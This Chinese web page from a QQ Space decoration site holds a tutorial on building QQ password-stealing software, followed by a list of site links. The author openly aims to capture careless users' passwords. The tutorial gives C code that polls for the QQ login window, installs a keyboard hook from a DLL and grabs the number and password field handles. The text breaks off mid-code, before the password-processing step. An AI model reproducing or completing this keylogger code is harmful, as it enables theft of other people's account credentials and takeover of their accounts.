首页 QQ空间flash QQ空间图片 QQ空间fd模块 QQ空间代码 QQ空间素材 QQ空间留言代码 QQ空间贴图 非主流 QQ表情 QQ头像

|QQ空间代码|浪漫感人爱情故事在线阅读|
收藏到QQ书签
   
 

盗QQ的密码软件模拟实现技术 

一般的盗密码的软件的软件都是通过监视键盘来获得密码,这样操作比较方便,但是这样也存在一定问题,密码有的时候不是很准确,因为有的人输入密码并不是从前到后输入,当然这样的人也是少数,盗密码嘛,当然去得到那些比较粗心的人的密码! 通过安装钩子来监视QQ登陆界面就是获得密码的方法,在安装前得先找到登陆窗口的句柄,当钩子安装后,记录键盘,当用户“回车”或是点了“登陆”就可以开始处理密码了! 我准备分为四部分来说明这个整个过程:

  (1)寻找QQ登陆界面。

  (2)安装钩子

  (3)钩子函数的解释.

  (4)处理密码。

  以下部分全是使用C语言,文章中我假设读者您是会C/SDK编程的。如果遇到相关的概念性问题,您可以查看MSDN或是上BBS 询问!

  第一部分:(1)寻找QQ登陆界面。

  软件运行后,利用安装定时器,每秒在系统找QQ登陆界面,这样基本上只要用户打开了QQ登陆界面就会被抓住其句柄,看下面代码

  #define ID_MYTIMER 555

  SetTimer(hDlg, ID_MYTIMER, 1000, NULL);

  安装好TIMER后,下面是处理主程序的WM_TIMER消息,凡是出现没有定义的变量,您可以理解为是全局变量.

  //处理WM_TIMER代码

  if (!IsWindow(g_hQQLogin)) //判断g_hQQLogin是否是有效的窗口句柄

  {

  HWND hLogin=NULL;

  g_hQQLogin = NULL;

  SetQQHook(NULL); //参数为NULL是卸载HOOK,参数为句柄是安装句柄

  do

   {

  //利用FindWindowEx查找QQ登陆窗口,具体参数意思请查MSDN

  g_hQQLogin=FindWindowEx(NULL,g_hQQLogin,"#32770",NULL); //对话框的类都是#32770

  //找到类名是#32770后,再在其窗体内找一个具有“ 登录QQ”的BUTTON按纽

  hLogin = FindWindowEx(g_hQQLogin, NULL, "Button", " 登录QQ"); //这一句很关键,如果你的QQ登陆窗口上没有" 登录QQ"字样,那么获取密码将失败!

  }

  while(g_hQQLogin != NULL && hLogin == NULL); //直到找到指定的窗口,即:QQ登陆窗口

  if (g_hQQLogin != NULL)

  {

  SetQQHook(g_hQQLogin);//安装HOOK,此函数在DLL文件中 第二部分中介绍

  }

   }

  上面就是查找QQ登陆窗口句柄的过程,从代码可以看出我用的方法:找一个其子窗体中有一个标题为“ 登录QQ”的BUTTON的对话框(这句话说得有点饶口,这句话如果也看不懂,下面您不用看了:() 我最开始是想利用 FindWindow(NULL,"QQ用户登陆窗口")来查找,但是我用Spy++看了QQ登陆窗口的标题并不是“QQ用户登陆窗口”,而是“乱码”,其中包含了回车键等特殊字符,于是我用了FindWindowEx().
第二部分:(2)安装钩子

  找到了QQ登陆窗口后,就成功了一半。:)

  下面是DLL文件中的安装HOOK的函数SetQQHook(), 为什么要用DLL(动态连接库)?要去“钩”其他进程的消息,得让HOOK函数在DLL中,这样好映射到其地址空间中!

  BOOL WINAPI SetQQHook(HWND hQQLogin)

  {

  //获得登陆框的句柄

  BOOL bRet = FALSE;

  if (hQQLogin != NULL)

   {

  DWORD dwThreadID = GetWindowThreadProcessId(hQQLogin, NULL); //这是什么意思?看MSDN

  g_hNum = GetDlgItem(hQQLogin, 138);//不同版本QQ,此处不一样! 得到QQ号的子窗口句柄

  g_hPsw = GetDlgItem(hQQLogin, 180); //不同版本QQ,此处不一样!得到QQ密码的子窗口句柄

  if (g_hNum == NULL)

9 7 3 1234 4 8 :
· [非主流图片] [图文] 混沌村系列QQ表情 01-21
· [非主流图片] [图文] 七月个性欧美风非主流签名图片 07-17
· [非主流图片] [图文] 非主流伤感爱情图片:收敛对你的思念 07-22
· [QQ空间图片模块] [图文] QQ空间黑色大图模块,祭奠 01-21
· [QQ空间图片模块] [图文] QQ空间图片:我把爱弄丢了 05-26
· [QQ空间图片模块] [图文] QQ空间情感大图模板 记忆里充满回.. 06-27
· [非主流服饰] [图文] 简单搭配甜心非主流装扮 08-13
· [QQ空间FLASH代码] [组图] QQ空间FLASH模块,可爱的小狗狗.. 01-21
· [QQ个性签名贴图] [图文] 炫酷非主流QQ空间动态图片,对你.. 01-21
· [非主流服饰] [图文] 非主流气质完美的韩版裙装 07-24
· [QQ空间FLASH代码] 非主流经典Flash模块---那不曾扑灭的梦.. 07-07
· [FD模块] [图文] 一款带播放器的可爱FD模块 01-21
· [QQ资讯] [图文] QQ会员网络硬盘大升级 01-21
· [QQ空间留言代码] QQ空间日志,九种爱情的感觉,你属于哪.. 01-21
· [QQ游戏] QQ飞车内测资格15日发放 01-21
· [非主流帅哥美女] [组图] 非主流yeye美少女写真 01-21
· [QQ空间FLASH代码] [组图] QQ空间FLASH模块,让自己幸福(.. 02-01
· [非主流图片] [图文] 生日快乐祝福QQ表情 01-21
· [QQ攻防] 知根知底 深度剖析QQ密码被盗原因 01-21
· [QQ个性签名贴图] [组图] QQ空间韩版可爱卡通美女图片 01-30
· [QQ空间音乐代码] QQ空间非主流韩国劲爆音乐 01-21
· [QQ空间皮肤代码] QQ空间免费鼠标代码_免费QQ空间鼠标 06-15
本站提供QQ空间图片模块、QQ空间flash模块、QQ空间留言代码等